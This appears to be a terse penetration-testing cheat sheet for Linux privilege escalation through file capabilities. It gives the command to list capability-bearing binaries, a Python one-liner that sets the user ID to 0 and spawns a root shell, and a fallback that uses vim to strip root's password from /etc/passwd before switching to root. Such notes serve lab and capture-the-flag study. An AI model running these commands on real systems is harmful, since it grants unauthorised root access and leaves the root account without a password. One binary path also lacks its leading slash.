capability

get system capability

 getcap -r / 2>/dev/null 

usr/bin/python2.6  -c 'import os; os.setuid(0); os.system("/bin/sh")'

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try to edit on /etc/passwd if the first case not work

echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd

su root